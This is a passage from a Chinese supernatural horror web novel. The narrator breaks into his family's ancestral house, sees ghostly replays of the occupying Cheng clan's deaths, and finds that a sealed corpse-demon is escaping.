“你,都有个鬼媳妇,死人娘子,她也是黄渠村水尸鬼的受害者,你怎么忍心,将她一样的受害者,交托给水尸鬼呢?” 徐湘灵再度问了我一句。 我更恍然大悟,知道了昨晚哭声的来由。 原来如此吗? 白姝灵因此不愿意理我。 她哭了整整一夜,难受了整整一夜,就是因为我这个决定? “先生,都是仁义者,至少我是这么认为的,五钱先生就是大仁大义,陈先生,姑且让我不敬,喊你一声陈棺生。” “如果你没有仁义,你不是一个好先生,你走不了太远的。” “我不是说坏话, 怪话,至少你帮姐夫的时候,我真的觉得,你是好好的一个人。” 徐湘灵这番话,是真的发自肺腑。 再然后,徐湘灵低头,说:“无论怎么决定,是你的事儿,如果你觉得我烦人,你就当我没说过好了。” “我走了。” 转身,徐湘灵要往远处走去。 “等等!”我喊了一声。 徐湘灵停住脚步。 “谢谢。 我这两个字,同样发自肺腑。 徐湘灵要是不提醒我,我自己还真的不会想到这一点,还依旧会我行我素,将这件事情就这么办了。 在那十八个河娘子的角度一想,这该有多残忍? 当年,的确是她们的牺牲,换来黄渠村的安宁…… 我,的确过头了。 徐湘灵本来神态很沉闷,她忽然一下,眸子多了几分神光。 “所以?”她问完,便贝齿紧咬,眼中带着询问。 “解决完我身上的事情,我会想办法把她们安葬了,现在我面临一个新的问题,就是水尸鬼,还想要什么?实不相瞒,我想让它办事。” 我如实和徐湘灵解释。 那河神老爷答应了我,就代表任何事情都是有商有量的。 我不给河娘子了,必然就得拿出来更多,或者更好的东西。 否则,那不就是出尔反尔么? 虽说河神老爷只是个水尸鬼,但越是这样的精怪,就越要谨慎,否则万一出乱子,那可了不得。 “真正无主,你也解决不了的尸体呀,水尸鬼会很喜欢吃的。” “对,除却这些,它还喜欢吃鸡,捞尸人下水,船头带鸡,说是供奉河神,实际上就是给水尸鬼了,让水尸鬼吃了之后不要闹事。” “只不过,有的水尸鬼性格暴躁,捞尸人又要打捞走水中尸体,它们不肯,再加上水尸鬼多了,会害人,才导致我们捞尸人和水尸鬼之间成了死仇。” 徐湘灵语速飞快的解释着。 “你饿了吧陈先生,我请你吃饭,慢慢和你说呀。” 徐湘灵又回到我面前,她眉眼都带着笑容。 显然,她心情是好极了。 显然,我之前的行为,是真的让她难受了。 她情绪才会有这么大的转变。 “我请你吧,你照顾我爸那么久,我还得再谢谢你。” 我继续说。 徐湘灵倒也没扭捏,她性格本来就爽利。 找了一家附近不错的中餐店,我们吃了饭,徐湘灵给我列举了一系列的东西,都是水尸鬼喜欢的。 她还说,水尸鬼要人,这就是最开始解决黄渠村问题的先生,开了一个不好的头。 水尸鬼这种精怪,本质上不能让它们接触除了尸体的人,不然就会逐渐演变成害人。 对此,我自然不好解释什么。 当年的黄渠村,水尸鬼是从害人开始的,又或许,还有很多事情我不知道,总之已经无法去深究了。 我和徐湘灵在饭店门口道别。 再然后,我一边慢吞吞的在路上走着,一边思考关于陈家祖宅,鸠占鹊巢那一群陈家外姓弟子,以及陈梁生的事儿。 最终我还是确定,那群外姓弟子,必然是遇到真正的事情了。 否则,他们必然得来找我才对,而不是按耐不动。 至于他们遇到了什么事情,我不知道,不过,如果去陈家祖宅,应该就能了解一二。 有句话说得好,知己知彼百战百胜,我没出生就被他们算计,他们才是真正牵着我鼻子走的人,我不能一直被他们牵着鼻子走下去吧? 第206章 改名换姓 这是胡喋披着老鳏夫人皮之后,对我的训诫。 这同样深刻的改变了我的一些行为。 尽管胡喋有问题,问题很大,更差点儿杀了我,可至少,在这件事情上,他的训导很有道理。 我更明白其缘由,不过是胡喋为了取信于我的手段罢了。 因此,我只认为这个道理对,没有对胡喋有别的心慈手软的行为。 思绪彻底落定,我此刻也不知道自己走哪儿了。 总之我摸出来手机,在地图上研究了一下爷爷给我的地址。 站了得有十几分钟,我找到一个合适的位置,用这个地址打了网约车。 半小时左右,车进了一处城中村。 在这城中村内绕了几分钟,最终停在一个老茶馆儿外边。 我下车,看了一眼老茶馆的招牌,东城老茶馆,名字倒是很贴切。 时间尚早,这会儿才是吃了午饭没多久,很多人在这里午休,点上一壶盖碗茶,优哉游哉的打瞌睡,或者是和别的茶友谈天说地。 我找了个位置坐下,要了一壶老鹰茶。 从这儿,恰巧能瞧见斜前方的一座大宅。 这个位置又是巽位,即便是有人从外边儿经过,注意看茶馆里头,都看不到我。 就好像很多时候,去某个地方找某个人,明明仔仔细细看过一遍又一遍,还是找不到,最后得人主动叫你,你才发现,人其实就在你眼皮子底下。 风水,即便是普通人,都有可能会遇到,只是自己不知道罢了。 茶很苦,却很提神。 大宅很老,却给人一种厚重,古色古香,更有一种滂沱大气感。 陈家老宅,年头可是长得很了。 爷爷现在都古稀之年,他出生的时候,陈家都是名声在外,这老宅,称得上一句古宅。 只不过,我瞧见了大宅的牌匾,写着另一个字。 两个字。 程家。陈?程? 一时间,我脑瓜子都有些嗡嗡的。 “弟娃儿,你也是来找程家看事,或者是算命的?” 忽然,一个茶壶摆在了我桌上,一个穿得有些旧衣烂衫的老人,坐在我对面。 其实他也不算太老,六十来岁吧,头发大抵还是黑的。 提起茶壶,老人自斟自饮。 我心头微凛,眼皮更一阵阵抽跳。 我表现出来什么问题了么? 一眼就看出来,我找程家? 还有,这老人是谁? “回去嘛,过几天再来,我都来好多天了,程家已经有很多天,至少半个月以上,闭门不待客了。” 老人砸吧砸吧嘴,往外吐出来几片茶叶。 从老人的脸上,我能看出来他没撒谎。 神相千壳,绝非浪得虚名。 人有相格,发怒,高兴,忧愁,焦虑,欺诈,等等…… 千人千面,每个人,每个不同的状态,都有着不同的相格。 谎言欺诈就是一种相格。 “您也是来找程家算命的?” 我话锋立转,顺着老人的话说。 “那不是?就是不晓得程家搞莫个了,摁是过完年,就不见人了呢,我天天在这里待着,门都没见打开一次,不晓得是不是出远门了,也不应该的嘛,程家百来口人,总不能全走了吧?”老人直叹气。 “程家这么久都没人了吗……我不知道。”我这话,更带着几分试探。 “就是嘛,我晓得你不晓得,你面生,这几天来了不少你这样子的了,我都和他们说了,免得在这里白等,还不知道多久程家开门待客呢。”老人无奈,再度摇头。 我笑了笑说:“说不定咱们运气好,今天呢?” “对嘛,万一我借点你好运呢?”老人倒也没一直劝我,他笑呵呵又倒了杯茶,呷了一口。 “程家不待客之前,发生过什么事儿吗,让他们出远门的事儿?”我试探性的开始套话。 老人说:“茶馆儿里这几天经常来的人,我都问了,没人听说过,忽然一下子就关门了。” 老人这一句话,基本上就将我的话给堵死,让我问无可问。 再然后,我两人就安静下来,我不开口,老人也无言,就是坐在我旁侧,眺望着程家。 时间缓缓过去,期间我们各自去上过厕所。 我注意到,茶馆里还有还有四五人,他们和老人的目的相仿,一直眺望着陈家老宅。 不,现在应该是程家大宅了。 这就又能看出来一个细节。 程家鸠占鹊巢,改名换姓之后,还在不停的给人算命看事,延续程家的名声? 当然,这件事情在普通人眼里是这样。 这个陈家和那个程家,又有什么区别,不都是算命看事儿的先生家族吗? 只是在有些人眼里不同,譬如发微道场。 徐发微才会听了我的来历之后,直接说,我现在进不了陈家老宅的门! 他们这些行内人,就深深知道,陈家的问题,以及程家带来的变化! 在我看来,程家不光是鸠占鹊巢,甚至还要褫夺陈家以前留下来的名声,给内沧市带来的记忆? 或许,这么多年下来,早就没有普通人能分清楚这个程和那个陈之间的区别了吧? “也不知道,程家这一代辈分最大的人物是谁哈?” “我记得,他们好像叫什么,金尺玄算?” 我再度和那老人套话。 老人一愣,说:“弟娃儿你有研究,不过你说错了瑟,程家号称铁尺铜算,听他们说,很多年前的确叫什么金尺玄算,但是,这个名号太招摇了,遭天老爷妒忌,是要整程家的。” “我听人说过,有几年,程家都差点儿被整没了,之后赶紧改了名头,门头招牌都换了一个的嘛,对头,最早先的程家,叫做陈家,耳东陈,不得不说,程家有东西的,天老爷收他们,都没收走。” 这一番话听在我耳朵里,就更不是个滋味儿了。 天色逐渐发晚,有人开始离开。 那几个和老人一样,等程家开门的人走了。 我走在最末,并没有直接离开城中村,而是在附近找了个苍蝇馆子,点了菜,又打听了程家的事儿。 结果那苍蝇馆子的老板也没说出个所以然来,就说程家最近这段时间没人。 我在饭店里待到天黑,再然后才回到程家大宅外。 这个点,茶馆儿早就没生意并且关门了。 城中村不如城区街道的热闹,人稀稀拉拉没有几个。 我一直走到大宅门头下边儿,看着牌匾,又是一阵阵出神。 稍一迟疑,我走到大门的位置,透过门缝往里瞄着。 入目第一眼,瞧见的便是一块屏风状的石头。 这石头,是挡煞之物。 圆石方石蹲在这里,就叫泰山石敢当。 做成屏风,则更美化,更凸显家族地位。 效果更强劲。 甚至能将煞气吹散! 只不过,那屏风石,裂了。 从中间裂开好大一条缝隙! 程家不是不开门待客,程家不是不去找陈梁生。 不,他更应该叫程梁生! 程家,是遭了祸患! 就连老宅,都被影响!? 第207章 找陈梁生报信! 我站在门前良久,透过门缝,看着那块屏风石头良久。 稍一迟疑,我用力推了一下门。 轻微的哐当声,是门栓撞击,大门是锁着的。 我再用力推搡两下。 哐哐的声响,大门依旧没有被推开。 单凭我这点儿力气,根本撞不开门。 我的目的也并非是要将门开了。 这么大的响动,程家内,并没有任何反应。 这就代表两个可能。 程家,已经无人在家中。 或者第二种可能,这忽然而来的冲煞,破了程家的阳宅,甚至损伤了程家人口! 风水,一片瓦,一块砖,都可杀人于无形。 胡喋更可以布置奇门遁甲,让我上次进村,都无法找到正确的路,花费了好大的功夫,才能回到家中,很勉强才将那风水破开。 程家,是招惹了怎么样的祸患,祸事牵连家族? 无论是全族被逼走,还是全族受损,甚至是死在这大院中,必然都是程家得罪了某个大人物! 对方有着太强太强的风水手段! 又或许,程家这群狼子野心的乌合之众,碰了某个不该碰的风水,遭受反煞? 只有这两个可能了,否则凭借他们的贪婪,怎么可能不去时常问着程梁生,怎么可能不对我下黑手? 思绪至此,我便动了另一个念头。 进去看看。 这毕竟是陈家的祖宅啊。 被改名换姓,却依旧是陈家的祖宅! 陈瞰山,我爷爷,乃至于瞿九娘,都想要我光耀门楣,重新将陈家树立起来,这祖宅,迟早是要收回来的! 还有,我或许能在宅子里发现某些东西? 知道程家出事的严重性? 或许,还能提前收回宅子? 这样一想,我内心都透着一股子隐隐的火热。 大门是进不去了,我绕着宅子墙壁走,正面院墙都很高,而且还有屋檐,想要翻进去可能性不大。 走了老远,才有一个转角小巷,陈家祖宅是真的大,占地怕是得好几亩。 那小巷,才是祖宅右侧的尽头。 我顺着进了小巷里边儿,走了了大概三四十米,一侧没有屋檐了,刚好小巷很窄,和旁侧另一家人的院子,挨着还不到一米,这里平时都不可能过人,只是宅子和宅子之间的分界线。 我双腿撑在两边墙上,双手同样撑着,慢慢往上爬。 几分钟后,我爬到了院顶,一手抓着院墙砖石,另外一边的手脚发力,嗬了一声,整个人挂在了陈家祖宅的院墙上,双手再发力,身体往上蹿,半个身子都翻过院头。 这就能看出来,我和苟驹,徐湘灵之间的差别。 他们两人轻而易举能带我上院子,下地,我自个儿一个人,爬墙都费劲儿。 无暇停下观察,我废了九牛二虎之力,总算爬到了院头上。 双手扶着借力,我这才能观察院内一切。 只是院子太大了,我所瞧见的,是一片郁郁葱葱,这陈家祖宅内部,都类似于一个园林。 因此,我只能先跳下院子,在地上冲出去十几步才泄去力道,堪堪站稳。 空气中弥漫着一股淡淡的凉意,好像还听见了窃窃私语。 我手脚紧绷,稍稍侧耳倾听。 有人? 可仔细听下去,反而什么声响都没有了,就像是我幻听了一样。 人在过于安静,过于紧张的环境,的确能听到一些有的没的声响。 祖宅里不可能有程家人能正常活动,否则,他们早就去宅门了。 我深呼吸,定了定神。 其实于我来说还好,这祖宅没有给我多大感觉。 恐怕爷爷待在这里,才会真的触景生情? 一时间,我却不知道往哪边儿走。 稍稍一顿,我摸出来了仕金盘。 就这一下,我汗毛便根根倒立。 仕金盘的指针,正在飞速转动! 那速度之快,简直是见所未见! 葬经百解中,转针,就是恶阴,此地恶阴徘徊不断,且伤人! 我惊疑不定的左右四看。 可我身旁,什么东西都没有啊!? 转针的速度更快,还是没有停下,并且随着我往前走,仕金盘似乎都要发出不堪重负的嗡鸣一般。 我只能将仕金盘竖起! 罗盘要平稳,才能够发挥作用。 竖起来,指针一下子就停止转动了。 心惊肉跳,我却不敢再用仕金盘。 再用,恐怕就得毁了这件法器了。 换而拿出来寻龙分金尺,将仕金盘收好。 我现在也分辨不了方位,圆月当空,没有任何能判断位置的工具,更没有天象。 因此,我只能顺着往前走去。 我现在是在大宅边缘,往前走,就一定能走到中部,或者,走上别的路? 类似于这种宅子布局,一定会有一条长廊,穿过整个园林,要么是出宅,要么就是进宅了。 按照我现在的方位来看,往左边走,就是出宅子,往右边走,就是进宅? 对,坐北朝南。 宅子的核心一定在北,朝向则是南,这样一来,我的左边就是南方,再调换方位,往右走,就是北边? 这和进宅出宅子位置对上了,我此刻则在西方。 定了定神,我继续往前走着。 陈家祖宅的布局,当真是太好了。 宅内的园林,都有好几处隆起,像是小山丘。 甚至还有潺潺流水,自山丘下流淌,有石桥横跨。 风水中,山不在高,水不在深。 又有话说,依山傍水,正易闹鬼。 可藏山藏水,对于一个阳宅,就是极品风水! 风水之说,藏风为上,得水其次,有山则无敌。 怪不得,陈家能够叱咤内沧市先生一行的风云。 可陈家……却还是被锁龙井中的凶尸给毁了…… 想到这里,我心头又一阵阵发塞。 不知觉间,便走到了一条长廊旁。 两侧是栏杆加排椅,供人行走赏玩累了可以休息,我翻过栏杆,刚站稳。 就觉得一阵阵心惊肉跳。 第六感的本能告诉我,身后有东西! 我猛地转过身,却瞧见身后站着一个人。 那人穿着一身唐装,看上去得有四十来岁,不过,他并没有看我,而是站在右侧的排椅上,他嘴角带笑,显得很诡异,踮着脚,倾斜往前,手中居然抓着一个绳圈儿。 下一刻,发生了让我窒息的一幕。 他脑袋钻进了绳圈儿里,双腿一蹬,整个人往前一荡,便挂在绳圈儿上,双腿不停的乱蹬,双手死死的抓着脖子上绳子, 拼命挣扎! “喂!你干什么!” 我这才反应过来,赶紧上前去抱着他的双腿,用力往上顶,想要将他弄出来! 这完全是本能。 说实话,程家人鸠占鹊巢,忘恩负义,死了就死了。 可毕竟,我鲜少见人在面前死,更遑论说自杀,因此,我本能的举动就是这个,救人!开始是死沉死沉的重量感,可我往上顶了两下,想要将他从绳子上弄下来,手中的重量,陡然一轻! 再然后,我听到哐当一声响,又是咕噜咕噜的滚动声。 紧接着,一个阴影自上往下倒来,重重砸在我身上! 感觉是重,实际上是轻! 我趔趄后退两步,脚直接踩到一个圆滚滚的东西,整个人直接失重,轰然一声倒在地上! 那个阴影,便砸在了我身上。 痛感自手肘而来,是摔倒的时候撑着地,我感觉骨头都要断了。 可看清楚压在我身上的东西,我顿一声惊叫大吼,猛地用力一甩! 那是一具脱水的干尸,脖子都断了,压在我身上。 被我这一甩,他哐当一声撞在旁侧的排椅上 我这段时间见识不少,说实话,对恐怖的事情已经很有耐受力,可现在还是绷不住,有种说不出的尿意。 因为我还瞧见了我踩着的东西,那赫然是一颗干巴巴的人头。 这下子,是真没忍住,尿出来了小小一股…… 我又赶紧收回去,死死夹住。 只有经历过这一幕的人,才知道这种感觉多酸爽。 却没人能够理解到我现在的惊惧。 明明,前一刻都是瞧见一个人上吊啊! 明明,我是在救人,明明他都还在挣扎,怎么一下子就变成干尸?怎么我就把他的头弄断了,身体拽下来了!? 心更咚咚狂跳,几乎要从嗓子眼迸出来。 半晌天,那尸体一动不动,地上的头颅一动不动,我才堪堪恢复一些冷静,颤巍巍的从地上站起来。 那尸体还是耷拉在椅子上,头还是静静的摆在地上。 只是,舌头吐出来半截,眼珠子干瘪凹陷,的确是死了很长一段时间了。 我伸手摁在胸口,用力往下抚,舒缓了半晌,我才挪开视线,抬头去看廊道上方,一条麻绳挂在那里,随风微微晃动。 因为人尸体的体液尸油浸泡,麻绳看上去油叽叽的,又给人一种说不出的粗糙感。 这,还是太诡异了。 见鬼? 稍一迟疑,我想往北面走,再往前去看看情况。 结果刚一转身,那种说不出的凉意又来了。 就是我身后有人! 脚步僵住,我扭头看后方,入目所视,更头皮发麻! 地上的尸体不见了,那颗头颅不见了。 排椅上站着个人,那人双手抓着一根绳索,脑袋要往里钻,双腿就要往前蹬! 这,竟然在重复刚才那一幕? 偏偏这时,那个人艰难扭头,似是看我。“跑!去报信,去找黄渠村,陈梁生报信!” “告诉他,无论如何,要拿到东西……我程家,靠他了……” “你去了,他必然给你重重回报!” 他话音落罢的那一瞬,双腿狠狠一蹬。 入目所视,还是刚才那一幕,他手乱抓脖子,双腿想要找借力点,就像是被割喉的兔子一样,乱蹬个不停。 我呆站着一动不动。 然后,他不动了。 他成了一具干瘪的尸体,在绳子上晃荡,像是风干的老腊肉。 第208章 陈家的罪,锁龙井的半个鬼! 吐着舌头的干瘪嘴唇,往里凹陷死不瞑目的双眼。 完全脱水,没有了重量的身体,在绳子上一晃一晃,更像是一个风铃。 只不过,他再发出来的,是轻微的吱呀声。 我耳边还在阵阵回荡他先前所说的那番话。 这一下我总算明白为什么我能看见他上吊死的那一幕。 并且陈家祖宅真的出事了。 因此住在这里头的程家人全都出事了。 这个程家人临死的时候,还想着这件事情的解决办法。 居然是要陈梁生,不对是程梁生来动手! 这人要程梁生拿到的东西,就是传承,老陈家的传承,我手中的寻龙分金尺,仕金盘,神相千壳,葬经百解! 缘由简单,程家招惹到的东西,绝对不一般,他们七零八落的风水术,算命术,不能组成完整的阴阳术,来将问题破解。 陈家的传承术法,就是他们能想到的唯一手段! 只不过,程家出事的太突然,应该没有人逃出去找到程梁生报信? 而我能瞧见他死前一幕的缘由,就是因为,他死,怨气太重,怨气改变了一部分风水,这一段的长廊,就是他的凶宅。 就好比人住在死过人的房间里,能看到死人一些画面,甚至是死人和人对话。 这就是一个举例,一定是类似的缘由,才造成了我和他的“沟通”。 “你找错人了,兄弟。” “你要不要瞪大你的死人眼看看,我是谁?” “你要不要认识认识,这东西是什么?” 思绪落定的一霎,我拔出别在腰间的寻龙分金尺,晃了晃。 那尸体忽然抽搐起来。 隐隐约约,又像是一个活人在不停的挣扎, 可很快,又变成了一具干尸在风中轻颤。 “陈……” “陈……” “陈……” 嘶哑的喊声,最后凝聚成一句话。 “陈家的罪……” 我冷眼看着尸身,并没有再靠近他,而是径直朝着北面走去。 这一次,我尽量将寻龙分金尺贴身放在胸膛处。 可刚走了没几步,我再度停在原地。 寻龙分金尺,一样是镇物,是和仕金盘同级的镇物。 在某些不同的用处下,两者效果有强弱。 譬如,仕金盘最重要的功效,是分辨风水,其次才是化煞辟邪。 寻龙分金尺是丈量界定风水,另一个作用,就是破,镇,诛,灭。 尺子和指针的坚韧性,很轻易就能比较出来个强弱。 我用这东西当镇物,肯定能不费吹灰之力的走到陈家祖宅的最中央,最核心的位置。 那然后呢? 我得不到信息量啊。 像是刚才那个死人,就传递给了我讯息,让我去找程梁生来破局。 如果我多遇到几个死人,是不是就能得到相应的信息。 或许,还能知道程家遇到了什么?知道前方,是否有什么凶险,再让我来判断,是不是应该往前走? 约莫半分钟的停顿,我将寻龙分金尺收起来了。 这一霎,长廊给了我不一样的感觉。 隐隐约约,带着一丝泛青的雾蒙蒙,好像长廊上有很多人,只是仔细一看,又看不见。 我心头咚咚直跳,不让视线那么汇聚集中,而是晃眼看向别处。 这一来,我就模模糊糊瞧见了近处有个人影。 我便径直朝着他走去。 我走了大概四五米,余光中的影子变得清晰起来,是个花季年华的少女。 她站在走廊中央,正在啜泣。 啜泣之余,她手正在不停的刮着自己的脸。 明明一张娇俏容颜,顷刻间,就变得鲜血淋漓,恐怖异常。 她口中很痛苦的呢喃。 “为什么找我……为什么要找我们啊……程家不是陈家,陈家已经没了,程家是无辜的人……”“你已经让陈家得到了应有的报应,为什么要对我们痛下毒手。” “天啊……你这个恶鬼,你这个疯魔,你不得好死,你永世不得超生啊……” 少女的呢喃,变成了尖叫,她淌下来的眼泪,甚至都染血,成了血泪! 我脑袋嗡嗡作响。 其实,她的话语中,陈和程,一个是前鼻音,一个是后鼻音,是能听清楚的。让我心惊肉跳的就是。 这事儿,居然还是和陈家有关!? 是陈家的祸患,延续给了程家?! 不,已经让陈家得到报应! 就这一句话,透出的信息量,便说明了一切! 程家遭遇的变化,是锁龙井中的恶鬼! 我整个人都麻了! 不对啊! 蟾山白蟾庙,锁龙井,九尊石人锁死井中凶尸,让他无论是尸身,还是鬼魂,都无法离开! 唯独借用程梁生的身体,他能出来一点点,他差点儿就弄死了我。 可那仅仅是一点而已,程梁生也出不了蟾山。 那锁龙井的恶鬼,怎么可能到了陈家祖宅,怎么可能就灭了程家!? 这根本就说不通,这不对劲! “啊!”那少女一声尖叫,双手狠狠抓在自己的脖子上,血,猛然飚射而出! 我身上,都被喷溅了浓浓一股! “找陈梁生!告诉他!一定要拿到东西!” 少女尖锐的话音,在我耳边回荡! 淡淡的恐惧感,阴霾感,却在不住的吞噬着我的内心。 我形容不上来,因为不可能的。 老陈家最后的风水很死,就一点,如果那恶鬼破掉了,他出来了,那他第一个找的不是程家,必然是我! 随后,就是我爷爷,我爸。 我们,才是他认为最该死的人! 怎么可能跳过我们,而找到程家? 那程家,能弄错吗? 我思绪间,眼前的一幕又再度变化。 那少女恢复了最初的原样,双手开始捧脸,要开始抓脸。 她显得很痛苦,她口中一直在呢喃,在质问。 我收起了思绪,迈步,径直从她身侧走过。 “陈梁生……去找陈梁生……不要往前走……前边儿有鬼……” 艰难的话音钻入我耳中。 她一样不知道我是谁,她若是知道我是陈家人,她恐怕巴不得我往前走。 而这一次,我不像是对付前面那个死人一样,去诛心。 我无暇顾及这一切。 我是真的想知道,究竟是什么东西毁了陈家。 总归,绝对不是锁龙井那个恶鬼凶尸! 很快,我撞到了第三个鬼。 他坐在排椅上,手中一把刀,是横切腰腹,血和肠肠肚肚淌了出来。 这不是简单的暴毙而亡! 我忽然反应过来,这都是自杀! 这第三个鬼,在切腹的时候抬起头,怔愣的看着我,嘴里还是说了相仿的话。 让我去找陈梁生,让我拿到东西,更让我不要往前,往前会见到大恐怖,然后就出不去了…… 我再度停下来脚步,后背都被冷汗一点点浸透。 信息量,又多了一点点。 第二个少女说是有鬼。 这第三个鬼,直接说大恐怖。 而这第三个鬼,穿着的是一身唐装,本身就说明了他的身份……是个先生…… 这就证明,我只要再往前走,应该是走到陈家祖宅的核心位置,就能瞧见,让程家人都死在这里的鬼了? 基本上我能断定,程家应该是死绝了,否则,不可能我身边儿没有反应,程家但凡能出来,就算是程梁生出不来黄渠村,他们都一定要来找我,因为我才是救程家的希望,只有我身上有传承。 又或许,程家没有死绝,其余人也被控制起来了? 否则,这些鬼不会喊我去找破局之法?! 问题的关键,就是我要不要往前。 往前的话,或许能知道秘密,但或许会死! 离开这里了,至少,只要程梁生不回来,他就不知道发生了什么,只要我的传承不失窃,程家就没有办法脱困脱险。 无形之中,他们鸠占鹊巢的事情,就得到了报应! 可如果说,真的是锁龙井的凶尸恶鬼造成程家的危险。 那问题,就严重了。 这代表,锁龙井的凶尸真的出了大问题,他用某种方式到了陈家祖宅里。 即便是我拿到陈瞰山的法子,去锁龙井解决问题,可能都解决不了,因为那里的凶尸,早已金蝉脱壳。 或许,那里只剩下空壳,陈家才是全部。 只是说,他暂时无法从陈家离开? 越想,我就越心寒,越心惊胆颤。 再度往前走,遇到第四个鬼,信息点没有什么变化,还是那些。 只是,鬼的年纪开始变大,他们的衣袍更全都是唐装,说明了身份。 不过,也没有大到那种地步,就是葛家老先生那么老。 直觉告诉我,程家最重要的人还不在这里。 就算是忘恩负义的白眼狼,没有拿到全部传承,这些程家人一定不弱,绝对不会比葛家老先生差。 终于,眼前的廊道快要到尽头了。 我脚步慢了下来。 因为我听到了接连不断的哀嚎和惨叫声,正从前方传来。 前方,是一个大宅,正在冒着幽幽绿光,空气中漂浮着一团团淡蓝色的磷火。 我不敢直接往前了,再走,一定会被马上发现! 长廊左右两侧,都是茂密的花圃,我选择了右侧,钻进花圃中,顺着根部往前爬,丝毫不在意泥土的肮脏。 这个方位也有讲究,还是巽位,善隐藏! 我爬到了花圃边缘停下。 再往前,就是一个水潭,死水散发着一阵阵恶臭,水面漂浮着一条条死鱼,有些都已经腐烂,蛆虫正在破掉的鱼肚子上爬着。 水潭正前方,则是一个靠水的小院,摆着石桌石椅,正后方,则是一个大堂屋。 堂屋里,有很多人。 这些人或是站着,或是跪着,跪着的人,双膝血淋淋的,站着的人,身上满是血淋淋的伤痕。 还有个人,神态阴翳极了,他背上趴着一个东西。 我仔细看清楚那东西的脸,病恹恹,赫然是锁龙井的凶尸恶鬼! 不过,只有半片! 那恶鬼,从脑袋的位置,是齐刷刷切开的! 第209章 风水有灵、废物一群 半个鬼?半个凶尸? 心在咚咚直跳,身体是压着地面的,我还是觉得一阵难受。 因为心跳的太厉害了,感觉整个胸腔在共鸣,甚至太阳穴都在抽动。 它,怎么出来的啊! 尽管只有半个,可它还是出来了啊! 偌大一个程家,就是被他废了?! 咿咿呀呀的唱腔,从背着半片鬼的那个程家人口中传出。 那些跪在地上的人,双手高高举起,仰着身子看天。 那些站着的人,咚的一声跪下,开始砰砰磕头! 这一幕撇去恐怖不谈,就像是某种邪术的仪式。 我明显能看出来,浓厚的雾气正在院内弥漫,正在朝着那半片锁龙井恶鬼凶尸的身上萦绕。 这不是像,这就是邪术! 必然是程梁生做了什么。 不,应该不是程梁生,他还没有疯,他大概也没有那样的本事。 应该是那锁龙井的凶尸恶鬼,自己做了什么。 程梁生的身体,成为了他的媒介? 陈瞰山还在等我搜集九星对应九尸,去验证自己的实力,去拿到他针对锁龙井凶尸的手段。 实质上,锁龙井凶尸,已经在偷偷的金蝉脱壳。 我有个感觉,如果今天不是发现了这里的问题。 假以时日,真的会让锁龙井的凶尸恶鬼跑了。 我得等到大祸领头,才能幡然醒悟,然后悔之晚矣…… 慢慢的挪动身体,我想要后退,从这里离开。 可偏偏这时,异变骤然发生! 我发现,我趴着的地方不对劲了…… 本身,我是趴在花圃里头的,花丛给我遮蔽了身体。 可现在,我身上居然什么东西都没了。 不光如此,身侧更空空荡荡,像是有凉风在吹。 斜上方有一块布,随风微微晃荡,眼前有个门槛,成了隐蔽我身影的两样防护。 头是稍稍撑起的,和我先前的动作一模一样。 我眼前所瞧见的,也不再是陈家祖宅中的堂屋以及屋前花园水潭。 这是一个院子。 院子里,有着九个石人,每一尊石人身上都缠着铁链,另一头则是没入了院子正中央的一口井中。 石人延展出来的铁链很古怪,表面被裹着一层血淋淋的皮毛。 锈蚀的感觉,很强烈! 我心都快从嗓子眼里跳出来了。 我明明在陈家祖宅啊,怎么一下子,就到了白蟾庙?! 怎么一下子,就趴在庙子和院子锁龙井中间的入口处? 一阵阵哀嚎声,从井口传出,我瞧见了一只手,爬出井口! 紧接着,爬出来了半个脑袋,半个肩膀! 这锁龙井的凶尸恶鬼,正在尝试着出来! 那些石人在微微颤抖,发出duangduangduang的声响,是不停的触碰着地面,很快,那动作幅度大的像是石人快要倒下,又像是快要碎裂! 石人在哀嚎,锁龙井凶尸同样在哀嚎。 我脑子嗡嗡作响。 这一幕,真的太恐怖了。 可这一下子,我也明白了。 为什么。 为什么我能看见! 看见的,其实不光是我。 恐怕,还有程家的所有人! 锁龙井的凶尸通过这种方式,让自己出现在陈家祖宅。 不管他具体做了什么,显而易见就有一点。 阴气和鬼气,正在和风水共鸣。 院子里的他,在操弄阴气鬼气,在影响风水。 程家的所有人,就看到了白蟾庙内的这一切。 我同样因此,看到这一切。 院内,必然还有程家人,他们认为自己出现在这里。 我看不见他们,是因为他们本身就没出现,这一切,只是阴气造成的虚妄,风水的投映罢了。 用更确切的话来说,海市蜃楼! 尽量屏住气息,我保持着冷静,镇定。 其实我有办法破开这一切。 只要用镇物,我必然就能脱离。 只不过这有问题。 镇物会影响风水,破开鬼气,那我就会被发现。 这就是自己找死! 等这锁龙井凶尸恶鬼完成眼下的仪式,眼前的一切自然能恢复正常。 还有关键一点,我也想看看,他究竟要做什么。 这一时三刻,他肯定跑不掉的。 只要我看的足够仔细,就能和陈瞰山去交流,就能让陈瞰山知道事情的严重性! 我们,必须马上更改计划。 不能等了! 思绪没有影响我的观察和专注。 我一直盯着那半片凶尸。 这时,我听见了另一个哀嚎声…… 这声音略有耳熟。 一部分的注意力还是在凶尸上,另一部分注意力则在院中飞速搜寻。 我瞧见了一个人。 程梁生! 程梁生太凄惨了,他半个身子,居然都压在一个石人下。 那石人不停的撞击地面,就像是碾碎陈梁生的身体。 程梁生双手有很多血,他腰间还有一个包袱,包袱开着一半,里边儿鼓鼓囊囊装着一些动物的皮毛,他正在努力尝试要脱开控制。 “废物!”“废物!” “废物!” “石人都能把你压住,你真是个废物!” 咆哮声从井口炸响! 夹杂着哀嚎声更重! 嗖嗖嗖声同时响彻! 是锁龙井中,骤然窜出几根铁链,快速缠绕在那锁龙井的凶尸身上,就像是八爪鱼一样包裹他的身体, 紧接着,那几根铁链开始往下拽,锁龙井凶尸拼命的要挣扎,手却还是抓不住井沿。 那些石人不是原地撞击地面了,感觉就像是倾斜,在往后发力。 就像是锁龙井中有某种机扩,铁链有个轴承,石人往后拽,铁链就往下拉! 我隐约能瞧见,压着程梁生的那个石人,唯独它那一根铁链,还有一半没有被包裹。 这下子,我算是明白过来,为什么锁龙井中的凶尸能逃出来。 是程梁生借用这种手段,污浊了这些石人布置成的阵法,兽皮包裹铁链,减弱了对凶尸镇压! 有句话叫做物极通灵。 不限于活物。 其实,很多东西,都是活物,应该说不限于人,不限于动物。 一棵树,年头长了都能长出人脸,一颗人参,时间长了,都能长成人形。 风水布置的久了,那风水便有灵性。 白蟾庙的风水,就是为了针对锁龙井的凶尸,这些石人,就是为了镇压凶尸而存在。 程梁生应该做出一系列的布置之后,或者,是在锁龙井凶尸的指点下做出这一系列准备后,开始用兽皮包裹铁链,整个过程本来都很成功。 等到最后一根铁链的最后一个部分,就出了问题。 